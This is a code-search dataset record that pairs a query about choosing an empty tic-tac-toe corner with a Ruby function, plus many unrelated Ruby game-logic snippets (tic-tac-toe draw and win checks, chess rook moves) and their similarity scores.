"def move_r5(wins, player, opponent)\n if adj_cor_edg?(player, opponent) # if O has an adjacent corner and edge to opponent corner\n puts \"r5 one\"\n position = win_check(wins, player, opponent) # use win logic\n elsif (player & @corners).size == 2 && (opponent & @corners).size == 1 # if O took a corner in round 2\n puts \"r5 two\"\n position = win_check(wins, player, opponent) # use win logic\n # position = sel_spec_cor(player, opponent) # take the last available corner\n elsif (player & @corners).size == 2 && (opponent & @corners).size == 0 # if O is perfect, will have center+edge\n puts \"r5 three\"\n position = block_check(wins, player, opponent) # so block at opposite edge\n else\n puts \"r5 four\"\n position = win_check(wins, player, opponent) # otherwise use win/block/edge logic\n end\n end",
"def ai_strategy_corners(board)\n\t\tmove = 0\n\t\tcorners = [\"1\", \"3\", \"7\", \"9\"] # Corner positions\n\t\tarray = []\n\t\tcorners.each do |a|\n\t\t\tif @current_player_positions.include?(a) # Is the current player in any of the corner positions?\n\t\t\t\tarray << a # If current player holds a corner position push the position to array\n\t\t\tend\n\t\tend\n\t\t# If current player has a corner position and the other player is in the centre position\n\t\tif array.length > 0 && @other_player_positions.include?(\"5\")\n\t\t\tarray.each do |a|\n\t\t# Depending on which corner is held current player takes the opposite corner\n\t\t\t\tcase a\n\t\t\t\t\twhen \"1\"\n\t\t\t\t\t\tmove = \"9\"\n\t\t\t\t\twhen \"3\"\n\t\t\t\t\t\tmove = \"7\"\n\t\t\t\t\twhen \"7\"\n\t\t\t\t\t\tmove = \"3\"\n\t\t\t\t\twhen \"9\"\n\t\t\t\t\t\tmove = \"1\"\n\t\t\t\t\telse\n\t\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tif move !=nil && board.valid_move?(move) # Provided move exists and is valid it is the move\n\t\t\tmove\n\t\tend\n\tend",
"def over?(board)\n draw?(board) == true || won?(board) != false ? true : false\nend",
"def over?(board)\n draw?(board) || won?(board)\nend",
"def over?(board)\n draw?(board) || won?(board)\nend",
"def play_round\n system(\"clear\")\n @board.render\n puts\n full_move = self.get_full_move\n pos = self.get_position(full_move)\n action = self.get_action(full_move)\n while action.downcase == \"e\" && !(self.valid_flip?(pos))\n self.display_unflag_message\n full_move = self.get_full_move\n pos = self.get_position(full_move)\n action = self.get_action(full_move)\n end\n action.downcase == \"e\" ? @board[pos].reveal : @board[pos].toggle_flag\n @board.reveal_bombs if @board.is_a_bomb?(pos) && @board[pos].revealed\n end",
"def over?(board)\n won?(board) || draw?(board)\nend",
"def over?(board)\n draw?(board) ||\n won?(board)\nend",
"def over?(board)\n if won?(board) || draw?(board)\n true\nelse\n false\n end\nend",
"def applyOpposite\n #puts(\"Opposite creer pont \" + @x1.to_s + @y1.to_s + \" \" + @x2.to_s + @y2.to_s)\n return @grid.removeBridge(@x1, @y1, @x2, @y2)\n end",
"def over?(board)\r\n if draw?(board) || won?(board)\r\n true\r\n else\r\n false\r\n end\r\nend",
"def over?(board)\n if won?(board) || draw?(board)\n true\n else\n false\n end\nend",
"def over?(board)\n if won?(board) || draw?(board)\n true\n end\nend",
"def get_op_cor(player, opponent)\n p_corner = (player & @corners) # determine the player's corners\n o_corner = (opponent & @corners) # determine the opponent's corners\n if (@opcor_1 & p_corner).size == 0 && (@opcor_1 & o_corner).size == 1\n position = (@opcor_1 - o_corner)[0] # opposite corner is in @opcor_1\n elsif (@opcor_2 & p_corner).size == 0 && (@opcor_2 & o_corner).size == 1\n position = (@opcor_2 - o_corner)[0] # opposite corner is in @opcor_2\n else\n get_avail_cor(player, opponent) # otherwise check for any open corner\n end\n end",
"def draw?(board)\n if full?(board) && !won?(board)\n true\n elsif !(won?(board) && full?(board)) || won?(board)\n false\n end\nend",
"def over?(board)\n (won?(board) || draw?(board)) ? true : false\nend",
"def over?(board)\n won?(board) || draw?(board)\n end",
"def over?(board)\n return won?(board) || draw?(board)\nend",
"def over?(board)\n draw?(board) || full?(board) || won?(board)\nend",
"def over?(board)\n draw?(board) || full?(board) || won?(board)\nend",
"def over?(board)\n full?(board) || won?(board) || draw?(board)\nend",
"def over?(board)\n full?(board) || won?(board) || draw?(board)\nend",
"def move_r4(wins, player, opponent)\n taken = player + opponent # all occupied board positions\n if (opponent & @opcor_1).size == 2 || (opponent & @opcor_2).size == 2 # if X took opposite corners\n position = @edges.sample # take an edge, any edge\n elsif (opponent & @opedg_1).size == 2 || (opponent & @opedg_2).size == 2 # if X took opposite edges\n position = @corners.sample # take a corner, any corner\n elsif (opponent & @edges).size == 2 # if X took adjacent edges (already filtered opposite edges)\n position = sel_mid_cor(player, opponent) # take the corner between adjacent edges\n elsif (taken & (@opcor_1 + @center)).size == 3 || (taken & (@opcor_2 + @center)).size == 3 # if X+O have opcor pair and center\n position = sel_avail_cor(player, opponent) # take a random open corner\n elsif (opponent & @edges).size == 1 && (opponent & @corners).size == 1 # if X has one edge and one corner\n position = sel_adj_edg(wins, player, opponent) # take the edge opposite opponent corner or block\n else\n position = block_check(wins, player, opponent) # otherwise block at edge\n end\n end",
"def draw?(board)\nfull?(board) && !won?(board)\nend",
"def over?(board)\n return won?(board) || draw?(board) ? true : false\nend",
"def over?(board)\n draw?(board) || won?(board) || full?(board)\nend",
"def over?(board) \nwon?(board) || full?(board) || draw?(board) ? true : false \nend",
"def over?(board)\n if won?(board) || draw?(board) #BE CAREFUL! If you flipped this, the test wouldn't have passed because it wouldn't stopped after the fail\n true\n end\nend",
"def over?(board)\n if won?(board)\n true\n elsif draw?(board)\n true\n else\n false\n end\nend",
"def over?(board)\n won?(board) || full?(board) || draw?(board)\nend",
"def over?(board)\n if(draw?(board) || won?(board))\n true\n else\n false\n end\nend",
"def over?(board)\n if(draw?(board) || won?(board))\n true\n else\n false\n end\nend",
"def over?(board)\n#over? == true if won? is true OR draw is true. There is no need to\n#check for full, as a full board will happen if there is a draw..\n won?(board) || draw?(board)\nend",
"def draw?(board)\n (full?(board)) && !(won?(board))\nend",
"def draw?(board)\n full?(board) && !(won?(board))\nend",
"def over?(board)\n full?(board) || draw?(board) || won?(board)\nend",
"def draw?(board)\n if full?(board) && !(won?(board))\n true\n else\n false\n end\nend",
"def draw?(board)\n #must be true for a draw, false for in progress,<<so use full? then && so that both sides must evauluate true and since it must be false for a won game >> !won?\n full?(board) && !won?(board)\nend",
"def draw?(board)\n !won?(board) && full?(board)\nend",
"def over?(board)\n if(!!won?(board))\n return true\n end\n if(draw?(board))\n return true\n end\n return false\nend",
"def over?(board)\n full?(board) || won?(board)\nend",
"def corner(corner_index)\n end",
"def draw?(board)\n won?(board) == false && full?(board) ? true : false\n # full?(board) && !won?(board)\nend",
"def over?(board)\nif won?(board) != nil || draw?(board) == true\n return true\nend\nend",
"def over?(board)\n won?(board) || draw?(board) || full?(board)\nend",
"def over?(board)\n won?(board) || draw?(board) || full?(board)\nend",
"def over?(board)\n won?(board) || draw?(board) || full?(board)\nend",
"def over?(board)\n won?(board) || draw?(board) || full?(board)\nend",
"def over?(board)\n won?(board) || draw?(board) || full?(board)\nend",
"def over?(board)\n won?(board) || draw?(board) || full?(board)\nend",
"def over?(board)\n won?(board) || draw?(board) || full?(board)\nend",
"def over?(board)\n won?(board) || draw?(board) || full?(board)\nend",
"def over?(board)\n won?(board) || draw?(board) || full?(board);\nend",
"def move_o(wins, player, opponent, round)\n if round == 2 # in round 2\n # check if X took center and if so take a corner, otherwise take center\n (opponent & @center).size == 1 ? position = @corners.sample : position = 4\n elsif round == 4 # in round 4\n position = move_r4(wins, player, opponent) # determine ideal position based on X and O's positions\n elsif round == 6 # in round 6\n position = move_r6(wins, player, opponent) # determine ideal position based on X and O's positions\n else\n position = win_check(wins, player, opponent) # use win/block logic for round 8\n end\n end",
"def draw? (board)\n if full?(board) == true\n !won?(board)\n end\nend",
"def draw?(board)\n !won?(board) && full?(board)\nend",
"def draw?(board)\n !won?(board) && full?(board)\nend",
"def draw?(board)\n !won?(board) && full?(board)\nend",
"def draw?(board)\n !won?(board) && full?(board)\nend",
"def draw?(board)\n !won?(board) && full?(board)\nend",
"def draw?(board)\n !won?(board) && full?(board)\nend",
"def draw?(board)\n !won?(board) && full?(board)\nend",
"def draw?(board)\n \n full?(board) && !won?(board)\n \n # if won?(board) == true\n # return false\n # elsif won?(board) == false && full?(board) == true\n # return true\n # elsif !won?(board) && !full?(board)\n # return false\n\n\n\n\nend",
"def draw?(board)\n full?(board) && !won?(board)\nend",
"def draw?(board)\n full?(board) && !won?(board)\nend",
"def draw?(board)\n full?(board) && !won?(board)\nend",
"def draw?(board)\n full?(board) && !won?(board)\nend",
"def over? #\n draw? || won?\nend",
"def over?(board)\n if (won?(board) != false)\n true\n elsif (draw?(board) == true)\n true\n else\n false\n end\nend",
"def draw?(board)\n if not won?(board)\n return full?(board)\n else\n return false\n end\nend",
"def sel_op_cor(corner)\n # if @opcor_1 and corner differ by 1 opposite corner is in @opcor_1, otherwise its in @opcor_2\n (@opcor_1 - corner).size == 1 ? position = (@opcor_1 - corner)[0] : position = (@opcor_2 - corner)[0]\n end",
"def draw?(board)\r\n if full?(board) && !won?(board)\r\n true\r\n else\r\n false\r\n end\r\nend",
"def corner_play\n return unless UNBEATABLE\n board_values = board.squares.map { |k, v| [k, v.marker] }.to_h\n if board_values.values_at(1, 9).all?(@human.mark) ||\n board_values.values_at(3, 7).all?(@human.mark)\n board_values.slice(2, 4, 6, 8).key(INITIAL_MARKER)\n else\n board_values.slice(1, 3, 7, 9).key(INITIAL_MARKER)\n end\n end",
"def move_r6(wins, player, opponent)\n taken = player + opponent # all occupied board positions\n open_corners = (@corners - (taken & @corners)) # all open corners\n open_edges = (@edges - (taken & @edges)) # all open edges\n if adj_cor_op_edg?(player, opponent) # if opponent has adjacent corners and opposing edge\n position = open_edges.sample # take a random open edge\n elsif adj_edg_op_cor?(player, opponent) # if opponent has adjacent edges and opposing corner\n position = open_corners.sample # take a random open corner, or use win/block/edge logic\n else\n position = win_check(wins, player, opponent) # otherwise use win/block/edge logic\n end\n end",
"def winner\n horizontal_winner || vertical_winner || diagonal_winner\n end",
"def draw?(board)\n if won?(board)\n false\n elsif full?(board)\n true\n else\n false\n end\nend",
"def draw?(board)\n if won?(board)\n false\n elsif full?(board)\n true\n else\n false\n end\nend",
"def draw?(board)\n won_check = won?(board)\n fullboard_check = full?(board)\n if won_check == false && fullboard_check == true\n return true\n elsif won_check == false && fullboard_check == false\n return false\n elsif won_check != false\n return false\n end\nend",
"def draw?(board)\n if won?(board) || !full?(board)\n false\n else\n true\n end\nend",
"def over?\n won? || draw?;\n end",
"def draw?(board)\n won?(board) == false && full?(board) == true ? true : false\nend",
"def over?(board)\n if draw?(board)\n return true\n end\n if won?(board)\n return true\n end\nend",
"def draw?(board)\n cond_1 = full?(board) == true;\n cond_2 = won?(board) == false;\n if cond_2 && cond_1 \n return true\n elsif !cond_1 && !cond_2\n return false\n else cond_2 == true\n return false\n end\nend",
"def over?(board)\n if won?(board) || full?(board) || draw?(board)\n true\n else\n false\n end\nend",
"def over?(board)\n if won?(board) || full?(board) || draw?(board)\n true\n else\n false\n end\nend",
"def isFlipped\n true\n end",
"def over?(board)\n if won?(board) || full?(board) || draw?(board)\n true\n end\nend",
"def over?(board)\n won?(board) || full?(board) || draw?(board)\n end",
"def over?(board)\n if won?(board)\n return true\n elsif draw?(board)\n return true\n else\n return false\n end\nend",
"def over?(board)\n if (draw?(board) || won?(board))\n return true\n else\n return false\n end\nend",
"def draw?(board)\n if full?(board) && !(won?(board))\n return true\n else\n return false\n end\nend"
] |
[
"0.7943329",
"0.76230633",
"0.7606113",
"0.7508064",
"0.7074578",
"0.70698017",
"0.70516324",
"0.63384664",
"0.63301635",
"0.63015914",
"0.62888396",
"0.6265764",
"0.6227639",
"0.6227639",
"0.62265015",
"0.621913",
"0.6178366",
"0.61719054",
"0.6161276",
"0.6077543",
"0.6071004",
"0.606264",
"0.60387117",
"0.60377043",
"0.60350657",
"0.60300815",
"0.6009481",
"0.59983164",
"0.59983164",
"0.59897065",
"0.59897065",
"0.59876496",
"0.59867007",
"0.5977733",
"0.5976161",
"0.59759337",
"0.5972974",
"0.5972496",
"0.5967987",
"0.59663624",
"0.59663624",
"0.59570754",
"0.5951552",
"0.59450006",
"0.59383106",
"0.59342337",
"0.5927261",
"0.59203714",
"0.5916113",
"0.5915469",
"0.5915147",
"0.59121454",
"0.5909717",
"0.59043604",
"0.59043604",
"0.59043604",
"0.59043604",
"0.59043604",
"0.59043604",
"0.59043604",
"0.59043604",
"0.59023046",
"0.589828",
"0.58947223",
"0.5894067",
"0.5894067",
"0.5894067",
"0.5894067",
"0.5894067",
"0.5894067",
"0.5894067",
"0.58913475",
"0.5888592",
"0.5888592",
"0.5888592",
"0.5888592",
"0.58741",
"0.58737296",
"0.58690846",
"0.5868024",
"0.58629596",
"0.58625954",
"0.5860517",
"0.58585674",
"0.58554536",
"0.58554536",
"0.58553",
"0.58480585",
"0.5845391",
"0.5844879",
"0.58423173",
"0.58421826",
"0.5836477",
"0.5836477",
"0.5832819",
"0.5828187",
"0.582504",
"0.5823949",
"0.5820671",
"0.5819766"
] |
0.78314024
|
1
|
7. empty_corner : if there is an empty corner, play it
|
def empty_corner(board)
CORNERS.each do |corner|
if board[corner] == " "
return corner
end
end
return false
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def empty_corner\n corners = [1,3,7,9]\n corners.select! {|corner| @game.game.free_position?(corner) }\n return corners.shuffle.first if !corners.empty?\n false\n end",
"def corner_play\n return unless UNBEATABLE\n board_values = board.squares.map { |k, v| [k, v.marker] }.to_h\n if board_values.values_at(1, 9).all?(@human.mark) ||\n board_values.values_at(3, 7).all?(@human.mark)\n board_values.slice(2, 4, 6, 8).key(INITIAL_MARKER)\n else\n board_values.slice(1, 3, 7, 9).key(INITIAL_MARKER)\n end\n end",
"def try_empty_corner(spaces)\n avail = [] # create array of empty corners\n avail << 0 if spaces[0] == \" \"\n avail << 2 if spaces[2] == \" \"\n avail << 6 if spaces[6] == \" \"\n avail << 8 if spaces[8] == \" \"\n return avail.sample if ! avail.empty? # sample the empty corner array\n return false # if all corners are occupied\nend",
"def corner\n corners = [ [0, 0], [0, 2], [2, 0], [2, 2] ]\n opponent_corner = corners.select { |l| @board.square(*l) == @opponent_mark }.first\n opposite = if opponent_corner\n pick_empty([[2-opponent_corner[0], 2-opponent_corner[1]]] | corners)\n else\n pick_empty(corners)\n end\n end",
"def try_opposite_corner(ptoken, spaces)\n # Check for player corner moves; then check if opposite is open; return if so\n avail = []\n avail << 8 if spaces[0] == ptoken && spaces[8] == \" \"\n avail << 0 if spaces[8] == ptoken && spaces[0] == \" \"\n avail << 2 if spaces[6] == ptoken && spaces[2] == \" \"\n avail << 6 if spaces[2] == ptoken && spaces[6] == \" \"\n return avail.sample if ! avail.empty?\n return false # if you can't jump on an opposite corner\nend",
"def empty_squares(brd)\n brd.position_values.keys.select { |num| brd.position_values[num] == Board::INITIAL_MARKER }\n end",
"def all_corners_filled?(board)\n\t\tarray = []\n\t\tcorner_1 = board.cells[CORNERS[0]-1]#1\n\t\tcorner_2 = board.cells[CORNERS[1]-1]#3\n\t\tcorner_3 = board.cells[CORNERS[2]-1]#9\n\t\tcorner_4 = board.cells[CORNERS[3]-1]#7\n\t\tarray += [corner_1,corner_2,corner_3,corner_4]\n\t\t# returns true if none of the corners are empty\n\t\t array.none?{|value|value == \" \"}\n\tend",
"def cornerMove\n # corners are 0 2 6 8\n opponent = (currentPlayer == 'X')? 'O' : 'X' \n CORNERS.each_with_index do |corner, i|\n if @board[corner] == opponent && !position_taken?(CORNERS[( i + 2) % 4])\n return CORNERS[( i + 2) % 4]\n end\n end\n\n # if here, then there is no opposite corner left to occupy, so any avaiable corner\n CORNERS.each do |corner| \n if !position_taken?(corner) \n return corner\n end\n end\n return false\n end",
"def cornerable? board\n corners_avail = CORNERS.select{|a| board.cells[a] == ' '}\n if corners_avail.empty?\n nil\n else\n corners_avail\n end\n\n end",
"def valid_black_rook(start,dest)\n x = start[0]; y = start[1]\n x1 = dest[0]; y1 = dest[1]\n\n xtrans = x\n ytrans = y\n\n return false if black_owned(x1,y1)\n\n #Getting the one space moves for the square around the rook\n if x1 == x+1 && y1 == y\n @white_piece.push(@b[x1][y1]) if white_owned(x1,y1)\n @b[x][y] = \" \"\n @blk_rook_left_move = true if x == 0 && y == 7\n @blk_rook_right_move = true if x == 7 && y == 7\n @b[x1][y1] = @BR\n return true\n elsif x1 == x-1 && y1 == y\n @white_piece.push(@b[x1][y1]) if white_owned(x1,y1)\n @b[x][y] = \" \"\n @blk_rook_left_move = true if x == 0 && y == 7\n @blk_rook_right_move = true if x == 7 && y == 7\n @b[x1][y1] = @BR\n return true\n elsif x1 == x && y1 == y+1\n @white_piece.push(@b[x1][y1]) if white_owned(x1,y1)\n @b[x][y] = \" \"\n @blk_rook_left_move = true if x == 0 && y == 7\n @blk_rook_right_move = true if x == 7 && y == 7\n @b[x1][y1] = @BR\n return true\n elsif x1 == x && y1 == y-1\n @white_piece.push(@b[x1][y1]) if white_owned(x1,y1)\n @b[x][y] = \" \"\n @blk_rook_left_move = true if x == 0 && y == 7\n @blk_rook_right_move = true if x == 7 && y == 7\n @b[x1][y1] = @BR\n return true\n end\n\n #The spaces that are +1 further away\n if x1 > x+1 && y1 == y\n while xtrans < x1-1 do\n xtrans += 1\n if @b[xtrans][ytrans] != \" \"\n return false #blockaded!\n end\n end\n @white_piece.push(@b[x1][y1]) if white_owned(x1,y1)\n @b[x][y] = \" \"\n @blk_rook_left_move = true if x == 0 && y == 7\n @blk_rook_right_move = true if x == 7 && y == 7\n @b[x1][y1] = @BR\n return true\n elsif x1 < x-1 && y1 == y\n while xtrans > x1+1 do\n xtrans -= 1\n if @b[xtrans][ytrans] != \" \"\n return false #blockaded!\n end\n end\n @white_piece.push(@b[x1][y1]) if white_owned(x1,y1)\n @b[x][y] = \" \"\n @blk_rook_left_move = true if x == 0 && y == 7\n @blk_rook_right_move = true if x == 7 && y == 7\n @b[x1][y1] = @BR\n return true\n elsif x1 == x && y1 > y+1\n while ytrans < y1-1 do\n ytrans += 1\n if @b[xtrans][ytrans] != \" \"\n return false #blockaded!\n end\n end\n @white_piece.push(@b[x1][y1]) if white_owned(x1,y1)\n @b[x][y] = \" \"\n @blk_rook_left_move = true if x == 0 && y == 7\n @blk_rook_right_move = true if x == 7 && y == 7\n @b[x1][y1] = @BR\n return true\n elsif x1 == x && y1 < y-1\n while ytrans > y1+1 do\n ytrans -= 1\n if @b[xtrans][ytrans] != \" \"\n return false #blockaded!\n end\n end\n @white_piece.push(@b[x1][y1]) if white_owned(x1,y1)\n @b[x][y] = \" \"\n @blk_rook_left_move = true if x == 0 && y == 7\n @blk_rook_right_move = true if x == 7 && y == 7\n @b[x1][y1] = @BR\n return true\n end\n return false\n end",
"def make_empty_test(shape)\n ->(pt){@board.empty_at(pt) && !shape.include?(pt)}\n end",
"def valid_white_rook(start,dest)\n x = start[0]; y = start[1]\n x1 = dest[0]; y1 = dest[1]\n\n xtrans = x\n ytrans = y\n\n return false if white_owned(x1,y1)\n\n #Getting the one space moves for the square around the rook\n if x1 == x+1 && y1 == y\n @black_piece.push(@b[x1][y1]) if black_owned(x1,y1)\n @b[x][y] = \" \"\n @wht_rook_left_move = true if x == 0 && y == 0\n @wht_rook_right_move = true if x == 7 && y == 0\n @b[x1][y1] = @WR\n return true\n elsif x1 == x-1 && y1 == y\n @black_piece.push(@b[x1][y1]) if black_owned(x1,y1)\n @b[x][y] = \" \"\n @wht_rook_left_move = true if x == 0 && y == 0\n @wht_rook_right_move = true if x == 7 && y == 0\n @b[x1][y1] = @WR\n return true\n elsif x1 == x && y1 == y+1\n @black_piece.push(@b[x1][y1]) if black_owned(x1,y1)\n @b[x][y] = \" \"\n @wht_rook_left_move = true if x == 0 && y == 0\n @wht_rook_right_move = true if x == 7 && y == 0\n @b[x1][y1] = @WR\n return true\n elsif x1 == x && y1 == y-1\n @black_piece.push(@b[x1][y1]) if black_owned(x1,y1)\n @b[x][y] = \" \"\n @wht_rook_left_move = true if x == 0 && y == 0\n @wht_rook_right_move = true if x == 7 && y == 0\n @b[x1][y1] = @WR\n return true\n end\n\n #The spaces that are +1 further away\n if x1 > x+1 && y1 == y\n while xtrans < x1-1 do\n xtrans += 1\n if @b[xtrans][ytrans] != \" \"\n return false #blockaded!\n end\n end\n @black_piece.push(@b[x1][y1]) if black_owned(x1,y1)\n @b[x][y] = \" \"\n @wht_rook_left_move = true if x == 0 && y == 0\n @wht_rook_right_move = true if x == 7 && y == 0\n @b[x1][y1] = @WR\n return true\n elsif x1 < x-1 && y1 == y\n while xtrans > x1+1 do\n xtrans -= 1\n if @b[xtrans][ytrans] != \" \"\n return false #blockaded!\n end\n end\n @black_piece.push(@b[x1][y1]) if black_owned(x1,y1)\n @b[x][y] = \" \"\n @wht_rook_left_move = true if x == 0 && y == 0\n @wht_rook_right_move = true if x == 7 && y == 0\n @b[x1][y1] = @WR\n return true\n elsif x1 == x && y1 > y+1\n while ytrans < y1-1 do\n ytrans += 1\n if @b[xtrans][ytrans] != \" \"\n return false #blockaded!\n end\n end\n @black_piece.push(@b[x1][y1]) if black_owned(x1,y1)\n @b[x][y] = \" \"\n @wht_rook_left_move = true if x == 0 && y == 0\n @wht_rook_right_move = true if x == 7 && y == 0\n @b[x1][y1] = @WR\n return true\n elsif x1 == x && y1 < y-1\n while ytrans > y1+1 do\n ytrans -= 1\n if @b[xtrans][ytrans] != \" \"\n return false #blockaded!\n end\n end\n @black_piece.push(@b[x1][y1]) if black_owned(x1,y1)\n @b[x][y] = \" \"\n @wht_rook_left_move = true if x == 0 && y == 0\n @wht_rook_right_move = true if x == 7 && y == 0\n @b[x1][y1] = @WR\n return true\n end\n return false\n end",
"def opposite_corner\n if @board.taken?(1) && !@board.taken?(9)\n 9\n elsif @board.taken?(9) && !@board.taken?(1)\n 1\n elsif @board.taken?(3) && !@board.taken?(7)\n 7\n elsif @board.taken?(7) && !@board.taken?(3)\n 3\n else\n nil\n end\n end",
"def corner(corner_index)\n end",
"def corner_move(board)\n random_corners = [0, 2, 6, 8].shuffle!\n random_corners.find {|cell| !board.taken?(cell+1)}\n end",
"def corner_open\n case \n when space_open?(1)\n 1\n when space_open?(3)\n 3\n when space_open?(7)\n 7\n when space_open?(9)\n 9\n end\n end",
"def draw?\n !board.include?(0) && winner.nil?\n end",
"def play_round\n system(\"clear\")\n @board.render\n puts\n full_move = self.get_full_move\n pos = self.get_position(full_move)\n action = self.get_action(full_move)\n while action.downcase == \"e\" && !(self.valid_flip?(pos))\n self.display_unflag_message\n full_move = self.get_full_move\n pos = self.get_position(full_move)\n action = self.get_action(full_move)\n end\n action.downcase == \"e\" ? @board[pos].reveal : @board[pos].toggle_flag\n @board.reveal_bombs if @board.is_a_bomb?(pos) && @board[pos].revealed\n end",
"def no_problem_corners?(cell)\n maze.corners_of(cell).all? do |corner|\n num_shared = maze.shared_edges(cell, corner).count { |edge| maze.is? edge, type: :path }\n maze.is?(corner, type: :wall) || 1 == num_shared\n end\n end",
"def draw?\n winner.nil? && board.flatten.none? {|cell| cell == '.'}\n end",
"def draw?\n @board.full? && !won?;\n end",
"def draw?(board)\n won?(board) == nil && full?(board) == true\nend",
"def draw?\n @board.full? && !won?\n end",
"def draw?\n @board.full? && !won?\n end",
"def draw?\n @board.full? && !won?\n end",
"def draw?(board)\nfull?(board) && !won?(board)\nend",
"def draw?(board)\n (full?(board)) && !(won?(board))\nend",
"def draw?(board)\n if won?(board) || !full?(board)\n false\n else\n true\n end\nend",
"def draw?\n !won? && full? \n end",
"def open_corner(board)\n # NOTE this could be cleaned up further.\n open_corners = []\n open_corners << 1 if board.open?(1)\n open_corners << 3 if board.open?(3)\n open_corners << 7 if board.open?(7)\n open_corners << 9 if board.open?(9)\n self.rand_from_array(open_corners)\n end",
"def draw?(board)\n !won?(board) && full?(board)\nend",
"def draw?\n !won? && full?\n end",
"def draw?(board)\n !won?(board) && full?(board)\nend",
"def draw?(board)\n !won?(board) && full?(board)\nend",
"def draw?(board)\n !won?(board) && full?(board)\nend",
"def draw?(board)\n !won?(board) && full?(board)\nend",
"def draw?(board)\n !won?(board) && full?(board)\nend",
"def draw?(board)\n !won?(board) && full?(board)\nend",
"def draw?(board)\n !won?(board) && full?(board)\nend",
"def draw?(board)\n if won?(board)\n false\n elsif full?(board)\n true\n else\n false\n end\nend",
"def draw?(board)\n if won?(board)\n false\n elsif full?(board)\n true\n else\n false\n end\nend",
"def opposite_corners?\n (@grid[\"a1\"] == @player_mark && @grid[\"c3\"] == @player_mark) || (@grid[\"a3\"] == @player_mark && @grid[\"c1\"] == @player_mark)\n end",
"def h_dont_cover_holes(pos)\n shape = shape_in_pos(pos) \n is_empty = make_empty_test(shape_in_pos(pos))\n shape.reduce(0) do |score, point| \n if is_empty.(plus(point, Down)) \n then score-1\n else score\n end\n end\n end",
"def draw?\n full? && !won?\n end",
"def draw?(board)\n if won?(board) == nil && full?(board) == true\n return true\n end\n\nend",
"def draw?(board)\n if not won?(board)\n return full?(board)\n else\n return false\n end\nend",
"def draw?(board)\n if full?(board) && !won?(board)\n true\n elsif !(won?(board) && full?(board)) || won?(board)\n false\n end\nend",
"def corner_check(board)\n CORNERS.each do |corner|\n if !board.taken?(corner)\n return corner.to_s\n end\n end\n nil\n end",
"def draw?\n !won? && full?\n end",
"def draw?\n !won? && full?\n end",
"def draw?\n !won? && full?\n end",
"def draw?(board)\n won?(board) == false && full?(board) == true ? true : false\nend",
"def draw?\n !won? && board.full?\n end",
"def draw? \n if full? == true\n !won?\n end\n end",
"def draw?(board)\n if (!full?(board) && !won?(board)) || won?(board)\n false\n elsif full?(board) == true\n true\n end\nend",
"def draw?(board)\n if (!won?(board)) && (full?(board))\n return true\n end\n return false\nend",
"def draw?(board)\n full?(board) && !(won?(board))\nend",
"def full?\n result = @board.none? {|mark| mark==\" \"}\n return result\n end",
"def board_full?(board)\n false\n true unless board.include?(INITIAL_MARKER)\nend",
"def draw?(board)\n if won?(board) == nil && full?(board) == true\n true\n else\n false\n end\nend",
"def draw?(board)\n if won?(board) == nil && full?(board) == true\n true\n else\n false\n end\nend",
"def draw?(board)\n if !won?(board) && full?(board)\n return true\n end\nend",
"def draw?\n self.board.full? && !self.won?\n end",
"def draw?\n if !won? && full?\n true\n end\n end",
"def draw?\n !won? && full? ? true : false\n end",
"def draw?(board)\n (full?(board) && !won?(board)) ? true : false\nend",
"def draw?\n !victory? && @board.flatten.compact.size == 9\n end",
"def draw?(board)\n full?(board) && !won?(board)\nend",
"def draw?(board)\n full?(board) && !won?(board)\nend",
"def draw?(board)\n full?(board) && !won?(board)\nend",
"def draw?(board)\n full?(board) && !won?(board)\nend",
"def draw?\n !won? && full?\n end",
"def draw?(board)\n if won?(board)\n return false\n elsif full?(board)\n return true\n end\nend",
"def over?\n won? || board.full? || draw?\n end",
"def draw?(board)\n if won?(board) == nil && full?(board) == true\n return true\n end\nend",
"def corner_first(board, marker)\r\n\t\tif first_move == true\r\n\t\t\tboard[0] = marker\r\n\t\telse\r\n\t\t\tfalse\r\n\t\tend\r\n\tend",
"def draw?\n !(won?) && full?\n end",
"def draw?\n !won? && full?\nend",
"def draw?\n !won? && full?\nend",
"def draw?\n !won? && full?\nend",
"def draw? (board)\n if full?(board) == true\n !won?(board)\n end\nend",
"def draw?(board_array)\r\n full?(board_array) && !won?(board_array)\r\nend",
"def empty_squares(brd)\n brd.keys.select { |num| brd[num] == INITIAL_MARKER }\nend",
"def empty_squares(brd)\n brd.keys.select { |num| brd[num] == INITIAL_MARKER }\nend",
"def empty?\n w == 0 || h == 0\n end",
"def draw?(board)\n return !won?(board) && full?(board)\nend",
"def over?(board)\n draw?(board) || won?(board) || full?(board)\nend",
"def chech_first_corner_edge()\n\t\tposition = 4\n\t\treturn position\n\tend",
"def chech_first_corner_edge()\n\t\tposition = 4\n\t\treturn position\n\tend",
"def over?(board)\n won?(board) || full?(board) || draw?(board)\nend",
"def over?(board)\n if draw?(board)\n true\n elsif won?(board) != nil && full?(board) == true\n true\n elsif won?(board) != nil && full?(board) == false\n true\n else\n false\n end\nend",
"def over?(board)\n if draw?(board)\n true\n elsif won?(board) != nil && full?(board) == true\n true\n elsif won?(board) != nil && full?(board) == false\n true\n else\n false\n end\nend",
"def draw?(board)\r\n won?(board) == false && full?(board) == true\r\nend",
"def over?(board)\n full?(board) || won?(board) || draw?(board)\nend",
"def over?(board)\n full?(board) || won?(board) || draw?(board)\nend",
"def draw?(board)\n !won?(board) && full?(board)\n end",
"def draw?(board)\n if !won?(board) && !full?(board)\n elsif won?(board)\n else !won?(board) && full?(board)\n return true\n end\nend",
"def draw?(board)\r\n if full?(board) && !won?(board)\r\n true\r\n else\r\n false\r\n end\r\nend",
"def draw?(board)\n if full?(board) && !(won?(board))\n true\n else\n false\n end\nend",
"def over?(board)\n#over? == true if won? is true OR draw is true. There is no need to\n#check for full, as a full board will happen if there is a draw..\n won?(board) || draw?(board)\nend"
] |
[
"0.7828409",
"0.7417383",
"0.72394097",
"0.66501397",
"0.6597562",
"0.6578648",
"0.65541303",
"0.6433353",
"0.6431356",
"0.6418361",
"0.6406683",
"0.64052427",
"0.63595355",
"0.6310268",
"0.621503",
"0.6190822",
"0.6159121",
"0.6137976",
"0.61362696",
"0.613363",
"0.61327153",
"0.61324",
"0.61240464",
"0.60903263",
"0.60903263",
"0.60782963",
"0.60763544",
"0.60586596",
"0.6053804",
"0.60349137",
"0.60300314",
"0.60107064",
"0.600626",
"0.600626",
"0.600626",
"0.600626",
"0.600626",
"0.600626",
"0.600626",
"0.60043806",
"0.60043806",
"0.6003993",
"0.60000527",
"0.5989893",
